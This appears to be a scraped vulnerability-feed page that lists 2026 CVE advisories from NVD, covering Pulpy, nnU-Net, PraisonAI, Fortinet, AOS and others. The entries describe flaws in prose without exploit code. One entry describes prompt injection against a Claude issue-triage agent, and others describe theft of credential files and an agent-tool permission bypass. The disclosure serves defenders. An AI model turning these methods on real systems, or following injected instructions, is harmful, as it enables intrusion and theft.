Pulpy is a lightweight, cross-platform desktop application packager for web apps. Prior to 0.1.1, Pulpy injects a pulpy.fs JavaScript API into every packaged web application, giving it access to the host filesystem. A validateFsPath() function is supposed to sandbox this access, but its blocklist is incomplete. Any web app packaged with Pulpy can read and write arbitrary files in the user's home directory — including ~/.ssh/id_rsa, ~/.aws/credentials, and ~/Library/Keychains/. This vulnerability is fixed in 0.1.1.
CVSS 9.3 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44225).
Sources:
NVD CVE-2026-44225: https://nvd.nist.gov/vuln/detail/CVE-2026-44225
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
Pulpy is a lightweight, cross-platform desktop application packager for web apps. Prior to 0.1.1, Pulpy injects a pulpy.fs JavaScript API into every packaged web application, giving it access to the host filesystem. A validateFsPath() function is supposed to sandbox this access, but its blocklist is incomplete. Any web app packaged with Pulpy can read and write arbitrary files in the user's home directory — including ~/.ssh/id_rsa, ~/.aws/credentials, and ~/Library/Keychains/. This vulnerability is fixed in 0.1.1.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### nnU-Net is a semantic segmentation framework that automatically adapts its pipeline to a dataset.
https://kevwire.com/record/CVE-2026-44246
nnU-Net is a semantic segmentation framework that automatically adapts its pipeline to a dataset. (May 12, 2026).
nnU-Net is a semantic segmentation framework that automatically adapts its pipeline to a dataset. Prior to 2.4.1, the nnU-Net Issue Triage workflow in .github/workflows/issue-triage.yml is vulnerable to Agentic Workflow Injection. The workflow sets allowed_non_write_users: ${{ github.event.issue.user.login }}, which means any logged-in GitHub user who opens an issue can reach this agentic workflow with attacker-controlled content. Untrusted issue title and body content are embedded directly into the prompt of anthropics/claude-code-action, and the workflow then runs a command-capable Claude agent with permission to comment on and relabel the current issue via gh. Because this workflow is triggered automatically on issues.opened, an external attacker can submit a crafted issue that steers the agent beyond its intended issue-triage purpose and influences authenticated issue actions. This vulnerability is fixed in 2.4.1.
CVSS 7.2 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44246).
Sources:
NVD CVE-2026-44246: https://nvd.nist.gov/vuln/detail/CVE-2026-44246
Vendor advisory (via NVD references): https://github.com/MIC-DKFZ/nnUNet/security/advisories/GHSA-63mx-j37w-gh59
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
nnU-Net is a semantic segmentation framework that automatically adapts its pipeline to a dataset. Prior to 2.4.1, the nnU-Net Issue Triage workflow in .github/workflows/issue-triage.yml is vulnerable to Agentic Workflow Injection. The workflow sets allowed_non_write_users: ${{ github.event.issue.user.login }}, which means any logged-in GitHub user who opens an issue can reach this agentic workflow with attacker-controlled content. Untrusted issue title and body content are embedded directly into the prompt of anthropics/claude-code-action, and the workflow then runs a command-capable Claude agent with permission to comment on and relabel the current issue via gh. Because this workflow is triggered automatically on issues.opened, an external attacker can submit a crafted issue that steers the agent beyond its intended issue-triage purpose and influences authenticated issue actions. This vulnerability is fixed in 2.4.1.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A improper access control vulnerability in Fortinet FortiAuthenticator 8.0.2, FortiAuthenticator 8.0.0, FortiAuthenticator 6.6.0 through 6.6.8, FortiAuthenticator 6.5.0 through...
https://kevwire.com/record/CVE-2026-44277
A improper access control vulnerability in Fortinet FortiAuthenticator 8.0.2, FortiAuthenticator 8.0.0, FortiAuthenticator 6.6.0 through 6.6.8, FortiAuthenticator 6.5.0 through... (May 12, 2026).
A improper access control vulnerability in Fortinet FortiAuthenticator 8.0.2, FortiAuthenticator 8.0.0, FortiAuthenticator 6.6.0 through 6.6.8, FortiAuthenticator 6.5.0 through 6.5.6 may allow attacker to execute unauthorized code or commands via crafted requests.
CVSS 9.8 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44277).
Sources:
NVD CVE-2026-44277: https://nvd.nist.gov/vuln/detail/CVE-2026-44277
Vendor advisory (via NVD references): https://fortiguard.fortinet.com/psirt/FG-IR-26-128
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
A improper access control vulnerability in Fortinet FortiAuthenticator 8.0.2, FortiAuthenticator 8.0.0, FortiAuthenticator 6.6.0 through 6.6.8, FortiAuthenticator 6.5.0 through 6.5.6 may allow attacker to execute unauthorized code or commands via crafted requests.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### PraisonAI is a multi-agent teams system.
https://kevwire.com/record/CVE-2026-44334
PraisonAI is a multi-agent teams system. (May 8, 2026).
PraisonAI is a multi-agent teams system. From version 4.5.139 to before version 4.6.32, CVE-2026-40287's fix gated tools.py auto-import behind PRAISONAI_ALLOW_LOCAL_TOOLS=true in two files (tool_resolver.py, api/call.py). A third import sink in praisonai/templates/tool_override.py was missed and remains unguarded. It is reached by the recipe runner on every recipe execution and is remotely triggerable through POST /v1/recipes/run with a recipe value pointing at any local absolute path or any GitHub repo (because SecurityConfig.allow_any_github defaults to True). The attacker drops a tools.py next to TEMPLATE.yaml; the server exec_module()s it. No auth required by default, no environment opt-in required. This issue has been patched in version 4.6.32.
CVSS 8.4 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44334).
Sources:
NVD CVE-2026-44334: https://nvd.nist.gov/vuln/detail/CVE-2026-44334
Vendor advisory (via NVD references): https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-xcmw-grxf-wjhj
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
PraisonAI is a multi-agent teams system. From version 4.5.139 to before version 4.6.32, CVE-2026-40287's fix gated tools.py auto-import behind PRAISONAI_ALLOW_LOCAL_TOOLS=true in two files (tool_resolver.py, api/call.py). A third import sink in praisonai/templates/tool_override.py was missed and remains unguarded. It is reached by the recipe runner on every recipe execution and is remotely triggerable through POST /v1/recipes/run with a recipe value pointing at any local absolute path or any GitHub repo (because SecurityConfig.allow_any_github defaults to True). The attacker drops a tools.py next to TEMPLATE.yaml; the server exec_module()s it. No auth required by default, no environment opt-in required. This issue has been patched in version 4.6.32.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### PraisonAI is a multi-agent teams system.
https://kevwire.com/record/CVE-2026-44335
PraisonAI is a multi-agent teams system. (May 8, 2026).
PraisonAI is a multi-agent teams system. Prior to version 1.6.32, the URL checking logic in PraisonAI has a logical flaw that could be bypassed by attackers, leading to SSRF attacks. This issue has been patched in version 1.6.32.
CVSS 7.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44335).
Sources:
NVD CVE-2026-44335: https://nvd.nist.gov/vuln/detail/CVE-2026-44335
Vendor advisory (via NVD references): https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-q9pw-vmhh-384g
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
PraisonAI is a multi-agent teams system. Prior to version 1.6.32, the URL checking logic in PraisonAI has a logical flaw that could be bypassed by attackers, leading to SSRF attacks. This issue has been patched in version 1.6.32.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### PraisonAI is a multi-agent teams system.
https://kevwire.com/record/CVE-2026-44339
PraisonAI is a multi-agent teams system. (May 8, 2026).
PraisonAI is a multi-agent teams system. Prior to praisonai version 4.6.37 and praisonaiagents version 1.6.37, praisonaiagents resolves unresolved tool names against module globals and __main__ after it fails to match the declared tool list and the registry. With the default agent configuration, _perm_allow is None, so undeclared non-dangerous tool names are not rejected by the permission gate. An attacker who can influence tool-call names can therefore invoke unintended application callables that were never declared as tools. This issue has been patched in praisonai version 4.6.37 and praisonaiagents version 1.6.37.
CVSS 8.6 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44339).
Sources:
NVD CVE-2026-44339: https://nvd.nist.gov/vuln/detail/CVE-2026-44339
Vendor advisory (via NVD references): https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-gmjg-hv98-qggq
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
PraisonAI is a multi-agent teams system. Prior to praisonai version 4.6.37 and praisonaiagents version 1.6.37, praisonaiagents resolves unresolved tool names against module globals and __main__ after it fails to match the declared tool list and the registry. With the default agent configuration, _perm_allow is None, so undeclared non-dangerous tool names are not rejected by the permission gate. An attacker who can influence tool-call names can therefore invoke unintended application callables that were never declared as tools. This issue has been patched in praisonai version 4.6.37 and praisonaiagents version 1.6.37.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### MailEnable Enterprise Premium 10.55 and earlier contains an improper authorization vulnerability in the WebAdmin mobile portal that allows attackers to bypass authentication...
https://kevwire.com/record/CVE-2026-44400
MailEnable Enterprise Premium 10.55 and earlier contains an improper authorization vulnerability in the WebAdmin mobile portal that allows attackers to bypass authentication... (May 8, 2026).
MailEnable Enterprise Premium 10.55 and earlier contains an improper authorization vulnerability in the WebAdmin mobile portal that allows attackers to bypass authentication checks by reusing AuthenticationToken cookies generated for low-privileged users. Attackers can obtain a token from the WebMail login endpoint using the PersistentLogin parameter and replay it against the WebAdmin portal to perform highly privileged administrative actions.
CVSS 8.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44400).
Sources:
NVD CVE-2026-44400: https://nvd.nist.gov/vuln/detail/CVE-2026-44400
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
MailEnable Enterprise Premium 10.55 and earlier contains an improper authorization vulnerability in the WebAdmin mobile portal that allows attackers to bypass authentication checks by reusing AuthenticationToken cookies generated for low-privileged users. Attackers can obtain a token from the WebMail login endpoint using the PersistentLogin parameter and replay it against the WebAdmin portal to perform highly privileged administrative actions.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### In JetBrains TeamCity before 2026.1
2025.11.5 authenticated users could expose server API to unauthorised access
https://kevwire.com/record/CVE-2026-44413
In JetBrains TeamCity before 2026.1
2025.11.5 authenticated users could expose server API to unauthorised access (May 11, 2026).
In JetBrains TeamCity before 2026.1
2025.11.5 authenticated users could expose server API to unauthorised access
CVSS 8.2 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44413).
Sources:
NVD CVE-2026-44413: https://nvd.nist.gov/vuln/detail/CVE-2026-44413
Vendor advisory (via NVD references): https://www.jetbrains.com/privacy-security/issues-fixed/
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
In JetBrains TeamCity before 2026.1
2025.11.5 authenticated users could expose server API to unauthorised access

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ZEBRA is a Zcash node written entirely in Rust.
https://kevwire.com/record/CVE-2026-44499
ZEBRA is a Zcash node written entirely in Rust. (May 8, 2026).
ZEBRA is a Zcash node written entirely in Rust. Prior to version 4.4.0, a composite denial-of-service vulnerability in Zebra's block discovery pipeline allows an unauthenticated remote attacker to permanently halt all new block discovery on a targeted node. The attack exploits three independent weaknesses in the gossip, syncer, and download subsystems — all exercisable from a single TCP connection — to create a monotonically growing block deficit that never self-heals. This issue has been patched in version 4.4.0.
CVSS 8.7 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44499).
Sources:
NVD CVE-2026-44499: https://nvd.nist.gov/vuln/detail/CVE-2026-44499
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
ZEBRA is a Zcash node written entirely in Rust. Prior to version 4.4.0, a composite denial-of-service vulnerability in Zebra's block discovery pipeline allows an unauthenticated remote attacker to permanently halt all new block discovery on a targeted node. The attack exploits three independent weaknesses in the gossip, syncer, and download subsystems — all exercisable from a single TCP connection — to create a monotonically growing block deficit that never self-heals. This issue has been patched in version 4.4.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ChurchCRM is an open-source church management system.
https://kevwire.com/record/CVE-2026-44547
ChurchCRM is an open-source church management system. (May 12, 2026).
ChurchCRM is an open-source church management system. From 7.2.0 to 7.2.2, The fix for CVE-2026-4058 is incomplete. The hardening commit was merged and then silently stripped from src/api/routes/public/public-user.php by an unrelated PR before any 7.2.x tag was cut. Every shipped 7.2.x release therefore remains exploitable by the PoC published with the original advisory. This vulnerability is fixed in 7.3.1.
CVSS 9.6 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44547).
Sources:
NVD CVE-2026-44547: https://nvd.nist.gov/vuln/detail/CVE-2026-44547
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
ChurchCRM is an open-source church management system. From 7.2.0 to 7.2.2, The fix for CVE-2026-4058 is incomplete. The hardening commit was merged and then silently stripped from src/api/routes/public/public-user.php by an unrelated PR before any 7.2.x tag was cut. Every shipped 7.2.x release therefore remains exploitable by the PoC published with the original advisory. This vulnerability is fixed in 7.3.1.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ChurchCRM is an open-source church management system.
https://kevwire.com/record/CVE-2026-44548
ChurchCRM is an open-source church management system. (May 12, 2026).
ChurchCRM is an open-source church management system. Prior to 7.3.2, top-level cross-site GET navigation from an attacker-controlled page to FundRaiserDelete.php, PropertyTypeDelete.php, or NoteDelete.php causes a logged-in ChurchCRM user with the relevant role to silently delete records, including cascaded property and record-to-property assignments. This vulnerability is fixed in 7.3.2.
CVSS 8.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44548).
Sources:
NVD CVE-2026-44548: https://nvd.nist.gov/vuln/detail/CVE-2026-44548
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
ChurchCRM is an open-source church management system. Prior to 7.3.2, top-level cross-site GET navigation from an attacker-controlled page to FundRaiserDelete.php, PropertyTypeDelete.php, or NoteDelete.php causes a logged-in ChurchCRM user with the relevant role to silently delete records, including cascaded property and record-to-property assignments. This vulnerability is fixed in 7.3.2.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Angular Expressions provides expressions for the Angular.JS web framework as a standalone module.
https://kevwire.com/record/CVE-2026-44643
Angular Expressions provides expressions for the Angular.JS web framework as a standalone module. (May 11, 2026).
Angular Expressions provides expressions for the Angular.JS web framework as a standalone module. Prior to 1.5.2, an attacker can write a malicious expression using filters that escapes the sandbox to execute arbitrary code on the system. This vulnerability is fixed in 1.5.2.
CVSS 9.3 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44643).
Sources:
NVD CVE-2026-44643: https://nvd.nist.gov/vuln/detail/CVE-2026-44643
Vendor advisory (via NVD references): https://github.com/peerigon/angular-expressions/security/advisories/GHSA-pw8r-6689-xvf4
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Angular Expressions provides expressions for the Angular.JS web framework as a standalone module. Prior to 1.5.2, an attacker can write a malicious expression using filters that escapes the sandbox to execute arbitrary code on the system. This vulnerability is fixed in 1.5.2.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### n8n-MCP is an MCP server that provides AI assistants access to n8n node documentation, properties, and operations.
https://kevwire.com/record/CVE-2026-44694
n8n-MCP is an MCP server that provides AI assistants access to n8n node documentation, properties, and operations. (May 8, 2026).
n8n-MCP is an MCP server that provides AI assistants access to n8n node documentation, properties, and operations. From version 2.18.7 to before version 2.50.2, there is an authenticated server-side request forgery vulnerability affecting the webhook trigger tools, the n8n API client (N8N_API_URL), and per-request URLs supplied via the x-n8n-url header in multi-tenant HTTP mode. This issue has been patched in version 2.50.2.
CVSS 7.2 (version 4.0; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44694).
Sources:
NVD CVE-2026-44694: https://nvd.nist.gov/vuln/detail/CVE-2026-44694
Vendor advisory (via NVD references): https://github.com/czlonkowski/n8n-mcp/security/advisories/GHSA-cmrh-wvq6-wm9r
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
n8n-MCP is an MCP server that provides AI assistants access to n8n node documentation, properties, and operations. From version 2.18.7 to before version 2.50.2, there is an authenticated server-side request forgery vulnerability affecting the webhook trigger tools, the n8n API client (N8N_API_URL), and per-request URLs supplied via the x-n8n-url header in multi-tenant HTTP mode. This issue has been patched in version 2.50.2.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Grav is a file-based Web platform.
https://kevwire.com/record/CVE-2026-44738
Grav is a file-based Web platform. (May 11, 2026).
Grav is a file-based Web platform. Prior to 2.0.0-rc.2, the Twig sandbox allow-list permits any user with the admin.pages role to call config.toArray() from within a page body, dumping the entire merged site configuration — including all plugin secrets (SMTP passwords, AWS keys, OAuth client secrets, API tokens) — into the rendered HTML. No administrator privileges are required. This vulnerability is fixed in 2.0.0-rc.2.
CVSS 7.7 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44738).
Sources:
NVD CVE-2026-44738: https://nvd.nist.gov/vuln/detail/CVE-2026-44738
Vendor advisory (via NVD references): https://github.com/getgrav/grav/security/advisories/GHSA-j274-39qw-32c9
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
Grav is a file-based Web platform. Prior to 2.0.0-rc.2, the Twig sandbox allow-list permits any user with the admin.pages role to call config.toArray() from within a page body, dumping the entire merged site configuration — including all plugin secrets (SMTP passwords, AWS keys, OAuth client secrets, API tokens) — into the rendered HTML. No administrator privileges are required. This vulnerability is fixed in 2.0.0-rc.2.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An authenticated remote code execution vulnerability exists in the AOS-8 and AOS-10 web-based management interface.
https://kevwire.com/record/CVE-2026-44852
An authenticated remote code execution vulnerability exists in the AOS-8 and AOS-10 web-based management interface. (May 12, 2026).
An authenticated remote code execution vulnerability exists in the AOS-8 and AOS-10 web-based management interface. A vulnerability in the certificate download functionality could allow an authenticated remote attacker to overwrite arbitrary files on the underlying operating system by exploiting improper input validation in the file path parameter. Successful exploitation could allow the attacker to execute arbitrary commands on the underlying operating system as a privileged user.
CVSS 7.2 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44852).
Sources:
NVD CVE-2026-44852: https://nvd.nist.gov/vuln/detail/CVE-2026-44852
Vendor advisory (via NVD references): https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05048en_us&docLocale=en_US
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
An authenticated remote code execution vulnerability exists in the AOS-8 and AOS-10 web-based management interface. A vulnerability in the certificate download functionality could allow an authenticated remote attacker to overwrite arbitrary files on the underlying operating system by exploiting improper input validation in the file path parameter. Successful exploitation could allow the attacker to execute arbitrary commands on the underlying operating system as a privileged user.

NVD status: Modified. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Command injection vulnerabilities exist in the web-based management interface of AOS-8 and AOS-10 Operating Systems.
https://kevwire.com/record/CVE-2026-44853
Command injection vulnerabilities exist in the web-based management interface of AOS-8 and AOS-10 Operating Systems. (May 12, 2026).
Command injection vulnerabilities exist in the web-based management interface of AOS-8 and AOS-10 Operating Systems. Successful exploitation could allow an authenticated remote attacker to upload arbitrary files to the underlying operating system, potentially leading to remote code execution as a privileged user.
CVSS 7.2 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44853).
Sources:
NVD CVE-2026-44853: https://nvd.nist.gov/vuln/detail/CVE-2026-44853
Vendor advisory (via NVD references): https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05048en_us&docLocale=en_US
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
Command injection vulnerabilities exist in the web-based management interface of AOS-8 and AOS-10 Operating Systems. Successful exploitation could allow an authenticated remote attacker to upload arbitrary files to the underlying operating system, potentially leading to remote code execution as a privileged user.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Command injection vulnerabilities exist in the web-based management interface of AOS-8 and AOS-10 Operating Systems.
https://kevwire.com/record/CVE-2026-44854
Command injection vulnerabilities exist in the web-based management interface of AOS-8 and AOS-10 Operating Systems. (May 12, 2026).
Command injection vulnerabilities exist in the web-based management interface of AOS-8 and AOS-10 Operating Systems. Successful exploitation could allow an authenticated remote attacker to upload arbitrary files to the underlying operating system, potentially leading to remote code execution as a privileged user.
CVSS 7.2 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44854).
Sources:
NVD CVE-2026-44854: https://nvd.nist.gov/vuln/detail/CVE-2026-44854
Vendor advisory (via NVD references): https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05048en_us&docLocale=en_US
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
Command injection vulnerabilities exist in the web-based management interface of AOS-8 and AOS-10 Operating Systems. Successful exploitation could allow an authenticated remote attacker to upload arbitrary files to the underlying operating system, potentially leading to remote code execution as a privileged user.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Stack-based buffer overflow vulnerabilities exist in several underlying management service components accessed through the command-line interface of the AOS-8 and AOS-10 Operating...
https://kevwire.com/record/CVE-2026-44855
Stack-based buffer overflow vulnerabilities exist in several underlying management service components accessed through the command-line interface of the AOS-8 and AOS-10 Operating... (May 12, 2026).
Stack-based buffer overflow vulnerabilities exist in several underlying management service components accessed through the command-line interface of the AOS-8 and AOS-10 Operating Systems. An authenticated attacker with administrative privileges could exploit these vulnerabilities by sending specially crafted requests to the affected services. Successful exploitation could allow the attacker to execute arbitrary code with elevated privileges on the underlying operating system.
CVSS 7.2 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-44855).
Sources:
NVD CVE-2026-44855: https://nvd.nist.gov/vuln/detail/CVE-2026-44855
Vendor advisory (via NVD references): https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05048en_us&docLocale=en_US
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500
Stack-based buffer overflow vulnerabilities exist in several underlying management service components accessed through the command-line interface of the AOS-8 and AOS-10 Operating Systems. An authenticated attacker with administrative privileges could exploit these vulnerabilities by sending specially crafted requests to the affected services. Successful exploitation could allow the attacker to execute arbitrary code with elevated privileges on the underlying operating system.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### sealed-env is a cross-stack, zero-trust secret management library for Node.js and Java/Spring Boot.
https://kevwire.com/record/CVE-2026-45091
sealed-env is a cross-stack, zero-trust secret management library for Node.js and Java/Spring Boot. (May 12, 2026).
sealed-env is a cross-stack, zero-trust secret management library for Node.js and Java/Spring Boot. In sealed-env enterprise mode, versions 0.1.0-alpha.1 through 0.1.0-alpha.3 embedded the operator's literal TOTP secret in the JWS payload of every minted unseal token. JWS payload is base64-encoded JSON, NOT encrypted. Any party who could observe a minted token (CI build logs, container env dumps, kubectl describe pod, Sentry/Rollbar stack traces, log aggregators) could decode the payload and extract the TOTP secret in plaintext. This vulnerability is fixed in 0.1.0-alpha.4.
CVSS 9.1 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-45091).
Sources:
NVD CVE-2026-45091: https://nvd.nist.gov/vuln/detail/CVE-2026-45091
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
sealed-env is a cross-stack, zero-trust secret management library for Node.js and Java/Spring Boot. In sealed-env enterprise mode, versions 0.1.0-alpha.1 through 0.1.0-alpha.3 embedded the operator's literal TOTP secret in the JWS payload of every minted unseal token. JWS payload is base64-encoded JSON, NOT encrypted. Any party who could observe a minted token (CI build logs, container env dumps, kubectl describe pod, Sentry/Rollbar stack traces, log aggregators) could decode the payload and extract the TOTP secret in plaintext. This vulnerability is fixed in 0.1.0-alpha.4.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Saad Iqbal APIExperts Square for WooCommerce woosquare allows Blind SQL...
https://kevwire.com/record/CVE-2026-45211
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Saad Iqbal APIExperts Square for WooCommerce woosquare allows Blind SQL... (May 12, 2026).
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Saad Iqbal APIExperts Square for WooCommerce woosquare allows Blind SQL Injection.This issue affects APIExperts Square for WooCommerce: from n/a through <= 4.7.1.
CVSS 8.5 (version 3.1; evidence as of Oct 26, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-45211).
Sources:
NVD CVE-2026-45211: https://nvd.nist.gov/vuln/detail/CVE-2026-45211
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0
